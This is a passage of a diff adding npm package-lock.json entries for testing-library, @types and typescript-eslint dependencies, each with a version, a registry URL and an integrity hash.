+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "25.3.0",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.3.0.tgz",
+          "integrity": "sha512-UkaDNewdqXAmCDbN2GlUM6amDKS78eCqiw/UmF5nE0mmLTd6moJkiZJML/X52Ke3LH7Swhw883IRXq8o9nWjVw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^1.1.1",
+            "@types/yargs": "^15.0.0",
+            "chalk": "^3.0.0"
+          }
+        },
+        "@types/yargs": {
+          "version": "15.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.4.tgz",
+          "integrity": "sha512-9T1auFmbPZoxHz0enUFlUuKRy3it01R+hlggyVUMtnCTQRunsQYifnSGb8hET4Xo8yiC0o0r1paW3ud5+rbURg==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.2.1",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
+          "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+          "requires": {
+            "@types/color-name": "^1.1.1",
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "pretty-format": {
+          "version": "25.3.0",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.3.0.tgz",
+          "integrity": "sha512-wToHwF8bkQknIcFkBqNfKu4+UZqnrLn/Vr+wwKQwwvPzkBfDDKp/qIabFqdgtoi5PEnM8LFByVsOrHoa3SpTVA==",
+          "requires": {
+            "@jest/types": "^25.3.0",
+            "ansi-regex": "^5.0.0",
+            "ansi-styles": "^4.0.0",
+            "react-is": "^16.12.0"
+          }
+        },
+        "supports-color": {
+          "version": "7.1.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
+          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@testing-library/jest-dom": {
+      "version": "4.2.4",
+      "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-4.2.4.tgz",
+      "integrity": "sha512-j31Bn0rQo12fhCWOUWy9fl7wtqkp7In/YP2p5ZFyRuiiB9Qs3g+hS4gAmDWONbAHcRmVooNJ5eOHQDCOmUFXHg==",
+      "requires": {
+        "@babel/runtime": "^7.5.1",
+        "chalk": "^2.4.1",
+        "css": "^2.2.3",
+        "css.escape": "^1.5.1",
+        "jest-diff": "^24.0.0",
+        "jest-matcher-utils": "^24.0.0",
+        "lodash": "^4.17.11",
+        "pretty-format": "^24.0.0",
+        "redent": "^3.0.0"
+      }
+    },
+    "@testing-library/react": {
+      "version": "9.5.0",
+      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-9.5.0.tgz",
+      "integrity": "sha512-di1b+D0p+rfeboHO5W7gTVeZDIK5+maEgstrZbWZSSvxDyfDRkkyBE1AJR5Psd6doNldluXlCWqXriUfqu/9Qg==",
+      "requires": {
+        "@babel/runtime": "^7.8.4",
+        "@testing-library/dom": "^6.15.0",
+        "@types/testing-library__react": "^9.1.2"
+      }
+    },
+    "@testing-library/user-event": {
+      "version": "7.2.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-7.2.1.tgz",
+      "integrity": "sha512-oZ0Ib5I4Z2pUEcoo95cT1cr6slco9WY7yiPpG+RGNkj8YcYgJnM7pXmYmorNOReh8MIGcKSqXyeGjxnr8YiZbA==",
+      "requires": {}
+    },
+    "@tootallnate/once": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+      "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw=="
+    },
+    "@trysound/sax": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
+      "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA=="
+    },
+    "@types/babel__core": {
+      "version": "7.1.19",
+      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz",
+      "integrity": "sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==",
+      "requires": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0",
+        "@types/babel__generator": "*",
+        "@types/babel__template": "*",
+        "@types/babel__traverse": "*"
+      }
+    },
+    "@types/babel__generator": {
+      "version": "7.6.4",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz",
+      "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==",
+      "requires": {
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "@types/babel__template": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz",
+      "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==",
+      "requires": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "@types/babel__traverse": {
+      "version": "7.18.2",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.18.2.tgz",
+      "integrity": "sha512-FcFaxOr2V5KZCviw1TnutEMVUVsGt4D2hP1TAfXZAMKuHYW3xQhe3jTxNPWutgCJ3/X1c5yX8ZoGVEItxKbwBg==",
+      "requires": {
+        "@babel/types": "^7.3.0"
+      }
+    },
+    "@types/body-parser": {
+      "version": "1.19.2",
+      "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz",
+      "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==",
+      "requires": {
+        "@types/connect": "*",
+        "@types/node": "*"
+      }
+    },
+    "@types/bonjour": {
+      "version": "3.5.10",
+      "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz",
+      "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/color-name": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz",
+      "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ=="
+    },
+    "@types/connect": {
+      "version": "3.4.35",
+      "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz",
+      "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/connect-history-api-fallback": {
+      "version": "1.3.5",
+      "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz",
+      "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==",
+      "requires": {
+        "@types/express-serve-static-core": "*",
+        "@types/node": "*"
+      }
+    },
+    "@types/eslint": {
+      "version": "8.4.6",
+      "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.6.tgz",
+      "integrity": "sha512-/fqTbjxyFUaYNO7VcW5g+4npmqVACz1bB7RTHYuLj+PRjw9hrCwrUXVQFpChUS0JsyEFvMZ7U/PfmvWgxJhI9g==",
+      "requires": {
+        "@types/estree": "*",
+        "@types/json-schema": "*"
+      }
+    },
+    "@types/estree": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz",
+      "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw=="
+    },
+    "@types/express": {
+      "version": "4.17.14",
+      "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.14.tgz",
+      "integrity": "sha512-TEbt+vaPFQ+xpxFLFssxUDXj5cWCxZJjIcB7Yg0k0GMHGtgtQgpvx/MUQUeAkNbA9AAGrwkAsoeItdTgS7FMyg==",
+      "requires": {
+        "@types/body-parser": "*",
+        "@types/express-serve-static-core": "^4.17.18",
+        "@types/qs": "*",
+        "@types/serve-static": "*"
+      }
+    },
+    "@types/express-serve-static-core": {
+      "version": "4.17.31",
+      "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.31.tgz",
+      "integrity": "sha512-DxMhY+NAsTwMMFHBTtJFNp5qiHKJ7TeqOo23zVEM9alT1Ml27Q3xcTH0xwxn7Q0BbMcVEJOs/7aQtUWupUQN3Q==",
+      "requires": {
+        "@types/node": "*",
+        "@types/qs": "*",
+        "@types/range-parser": "*"
+      }
+    },
+    "@types/graceful-fs": {
+      "version": "4.1.5",
+      "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz",
+      "integrity": "sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/html-minifier-terser": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
+      "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg=="
+    },
+    "@types/http-proxy": {
+      "version": "1.17.9",
+      "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.9.tgz",
+      "integrity": "sha512-QsbSjA/fSk7xB+UXlCT3wHBy5ai9wOcNDWwZAtud+jXhwOM3l+EYZh8Lng4+/6n8uar0J7xILzqftJdJ/Wdfkw==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/istanbul-lib-coverage": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.1.tgz",
+      "integrity": "sha512-hRJD2ahnnpLgsj6KWMYSrmXkM3rm2Dl1qkx6IOFD5FnuNPXJIG5L0dhgKXCYTRMGzU4n0wImQ/xfmRc4POUFlg=="
+    },
+    "@types/istanbul-lib-report": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+      "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
+      "requires": {
+        "@types/istanbul-lib-coverage": "*"
+      }
+    },
+    "@types/istanbul-reports": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.1.tgz",
+      "integrity": "sha512-UpYjBi8xefVChsCoBpKShdxTllC9pwISirfoZsUa2AAdQg/Jd2KQGtSbw+ya7GPo7x/wAPlH6JBhKhAsXUEZNA==",
+      "requires": {
+        "@types/istanbul-lib-coverage": "*",
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "@types/json-schema": {
+      "version": "7.0.11",
+      "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz",
+      "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ=="
+    },
+    "@types/json5": {
+      "version": "0.0.29",
+      "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
+      "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
+    },
+    "@types/mime": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/mime/-/mime-3.0.1.tgz",
+      "integrity": "sha512-Y4XFY5VJAuw0FgAqPNd6NNoV44jbq9Bz2L7Rh/J6jLTiHBSBJa9fxqQIvkIld4GsoDOcCbvzOUAbLPsSKKg+uA=="
+    },
+    "@types/node": {
+      "version": "18.7.23",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-18.7.23.tgz",
+      "integrity": "sha512-DWNcCHolDq0ZKGizjx2DZjR/PqsYwAcYUJmfMWqtVU2MBMG5Mo+xFZrhGId5r/O5HOuMPyQEcM6KUBp5lBZZBg=="
+    },
+    "@types/parse-json": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
+      "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA=="
+    },
+    "@types/prettier": {
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.1.tgz",
+      "integrity": "sha512-ri0UmynRRvZiiUJdiz38MmIblKK+oH30MztdBVR95dv/Ubw6neWSb8u1XpRb72L4qsZOhz+L+z9JD40SJmfWow=="
+    },
+    "@types/prop-types": {
+      "version": "15.7.3",
+      "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.3.tgz",
+      "integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw=="
+    },
+    "@types/q": {
+      "version": "1.5.5",
+      "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.5.tgz",
+      "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ=="
+    },
+    "@types/qs": {
+      "version": "6.9.7",
+      "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz",
+      "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw=="
+    },
+    "@types/range-parser": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz",
+      "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw=="
+    },
+    "@types/react": {
+      "version": "16.9.34",
+      "resolved": "https://registry.npmjs.org/@types/react/-/react-16.9.34.tgz",
+      "integrity": "sha512-8AJlYMOfPe1KGLKyHpflCg5z46n0b5DbRfqDksxBLBTUpB75ypDBAO9eCUcjNwE6LCUslwTz00yyG/X9gaVtow==",
+      "requires": {
+        "@types/prop-types": "*",
+        "csstype": "^2.2.0"
+      }
+    },
+    "@types/react-dom": {
+      "version": "16.9.6",
+      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.6.tgz",
+      "integrity": "sha512-S6ihtlPMDotrlCJE9ST1fRmYrQNNwfgL61UB4I1W7M6kPulUKx9fXAleW5zpdIjUQ4fTaaog8uERezjsGUj9HQ==",
+      "requires": {
+        "@types/react": "*"
+      }
+    },
+    "@types/resolve": {
+      "version": "1.17.1",
+      "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz",
+      "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/retry": {
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz",
+      "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="
+    },
+    "@types/serve-index": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz",
+      "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==",
+      "requires": {
+        "@types/express": "*"
+      }
+    },
+    "@types/serve-static": {
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.0.tgz",
+      "integrity": "sha512-z5xyF6uh8CbjAu9760KDKsH2FcDxZ2tFCsA4HIMWE6IkiYMXfVoa+4f9KX+FN0ZLsaMw1WNG2ETLA6N+/YA+cg==",
+      "requires": {
+        "@types/mime": "*",
+        "@types/node": "*"
+      }
+    },
+    "@types/sockjs": {
+      "version": "0.3.33",
+      "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz",
+      "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/stack-utils": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz",
+      "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw=="
+    },
+    "@types/testing-library__dom": {
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/@types/testing-library__dom/-/testing-library__dom-6.14.0.tgz",
+      "integrity": "sha512-sMl7OSv0AvMOqn1UJ6j1unPMIHRXen0Ita1ujnMX912rrOcawe4f7wu0Zt9GIQhBhJvH2BaibqFgQ3lP+Pj2hA==",
+      "requires": {
+        "pretty-format": "^24.3.0"
+      }
+    },
+    "@types/testing-library__react": {
+      "version": "9.1.3",
+      "resolved": "https://registry.npmjs.org/@types/testing-library__react/-/testing-library__react-9.1.3.tgz",
+      "integrity": "sha512-iCdNPKU3IsYwRK9JieSYAiX0+aYDXOGAmrC/3/M7AqqSDKnWWVv07X+Zk1uFSL7cMTUYzv4lQRfohucEocn5/w==",
+      "requires": {
+        "@types/react-dom": "*",
+        "@types/testing-library__dom": "*",
+        "pretty-format": "^25.1.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "25.3.0",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.3.0.tgz",
+          "integrity": "sha512-UkaDNewdqXAmCDbN2GlUM6amDKS78eCqiw/UmF5nE0mmLTd6moJkiZJML/X52Ke3LH7Swhw883IRXq8o9nWjVw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^1.1.1",
+            "@types/yargs": "^15.0.0",
+            "chalk": "^3.0.0"
+          }
+        },
+        "@types/yargs": {
+          "version": "15.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.4.tgz",
+          "integrity": "sha512-9T1auFmbPZoxHz0enUFlUuKRy3it01R+hlggyVUMtnCTQRunsQYifnSGb8hET4Xo8yiC0o0r1paW3ud5+rbURg==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.2.1",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
+          "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+          "requires": {
+            "@types/color-name": "^1.1.1",
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "pretty-format": {
+          "version": "25.3.0",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.3.0.tgz",
+          "integrity": "sha512-wToHwF8bkQknIcFkBqNfKu4+UZqnrLn/Vr+wwKQwwvPzkBfDDKp/qIabFqdgtoi5PEnM8LFByVsOrHoa3SpTVA==",
+          "requires": {
+            "@jest/types": "^25.3.0",
+            "ansi-regex": "^5.0.0",
+            "ansi-styles": "^4.0.0",
+            "react-is": "^16.12.0"
+          }
+        },
+        "supports-color": {
+          "version": "7.1.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
+          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@types/trusted-types": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.2.tgz",
+      "integrity": "sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg=="
+    },
+    "@types/ws": {
+      "version": "8.5.3",
+      "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz",
+      "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/yargs": {
+      "version": "13.0.8",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-13.0.8.tgz",
+      "integrity": "sha512-XAvHLwG7UQ+8M4caKIH0ZozIOYay5fQkAgyIXegXT9jPtdIGdhga+sUEdAr1CiG46aB+c64xQEYyEzlwWVTNzA==",
+      "requires": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "@types/yargs-parser": {
+      "version": "15.0.0",
+      "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-15.0.0.tgz",
+      "integrity": "sha512-FA/BWv8t8ZWJ+gEOnLLd8ygxH/2UFbAvgEonyfN6yWGLKc7zVjbpl2Y4CTjid9h2RfgPP6SEt6uHwEOply00yw=="
+    },
+    "@typescript-eslint/eslint-plugin": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.38.1.tgz",
+      "integrity": "sha512-ky7EFzPhqz3XlhS7vPOoMDaQnQMn+9o5ICR9CPr/6bw8HrFkzhMSxuA3gRfiJVvs7geYrSeawGJjZoZQKCOglQ==",
+      "requires": {
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/type-utils": "5.38.1",
+        "@typescript-eslint/utils": "5.38.1",
+        "debug": "^4.3.4",
+        "ignore": "^5.2.0",
+        "regexpp": "^3.2.0",
+        "semver": "^7.3.7",
+        "tsutils": "^3.21.0"
+      }
+    },
+    "@typescript-eslint/experimental-utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.38.1.tgz",
+      "integrity": "sha512-Zv0EcU0iu64DiVG3pRZU0QYCgANO//U1fS3oEs3eqHD1eIVVcQsFd/T01ckaNbL2H2aCqRojY2xZuMAPcOArEA==",
+      "requires": {
+        "@typescript-eslint/utils": "5.38.1"
+      }
+    },
+    "@typescript-eslint/parser": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.38.1.tgz",
+      "integrity": "sha512-LDqxZBVFFQnQRz9rUZJhLmox+Ep5kdUmLatLQnCRR6523YV+XhRjfYzStQ4MheFA8kMAfUlclHSbu+RKdRwQKw==",
+      "requires": {
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "debug": "^4.3.4"
+      }
+    },
+    "@typescript-eslint/scope-manager": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.38.1.tgz",
+      "integrity": "sha512-BfRDq5RidVU3RbqApKmS7RFMtkyWMM50qWnDAkKgQiezRtLKsoyRKIvz1Ok5ilRWeD9IuHvaidaLxvGx/2eqTQ==",
+      "requires": {
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/visitor-keys": "5.38.1"
+      }
+    },
+    "@typescript-eslint/type-utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.38.1.tgz",
+      "integrity": "sha512-UU3j43TM66gYtzo15ivK2ZFoDFKKP0k03MItzLdq0zV92CeGCXRfXlfQX5ILdd4/DSpHkSjIgLLLh1NtkOJOAw==",
+      "requires": {
